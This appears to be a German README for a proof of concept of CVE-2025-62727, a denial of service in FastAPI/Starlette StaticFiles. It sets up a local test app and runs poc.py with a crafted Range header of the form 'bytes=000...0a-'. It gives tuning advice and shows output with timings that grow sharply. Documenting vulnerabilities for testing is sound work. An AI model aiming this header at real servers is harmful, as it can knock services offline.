
Proof of Concept für CVE-2025-62727, der einen Denial-of-Service in FastAPI (basierend auf Starlette <= 0.48.0) verursachen kann.
Das Zielopfer von CVE-2025-62727 ist eine einfache FastAPI-Anwendung, die:
Hello World unter / bereitstellt./static mithilfe von Starlettes StaticFiles bereitstellt.A N-mal wiederholt enthalten, für N in 1024, 2048, 50176.(Optional) Eine virtualenv erstellen und aktivieren.
Abhängigkeiten installieren:
pip install -r requirements.txt
Den Server starten:
uvicorn main:app --reload
Öffnen:
http://127.0.0.1:8000/ für die Indexseite.http://127.0.0.1:8000/static/1024.txt usw. für statische Dateien.static/ generiert. Vorhandene Dateien werden nicht überschrieben.StaticFiles.Das enthaltene poc.py löst CPU-intensives Range-Parsing in Starlettes FileResponse über die /static-Route aus, indem es einen manipulierten Header der Form bytes=000...000a- verwendet.
Server starten, dann in einer anderen Shell:
python3 poc.py --sizes 1000,2000,4000,7000
Ziel-URL überschreiben (optional):
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
Hinweise:
http://127.0.0.1:8000/static/50176.txt (eine Datei, die die App generiert). Mit --url kann dies geändert werden.--sizes nach unten anpassen, wenn 400/431 (Header zu groß) auftritt, oder nach oben, wenn die Header erfolgreich sind und ein stärkerer Effekt gewünscht ist.Beispielergebnis:
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms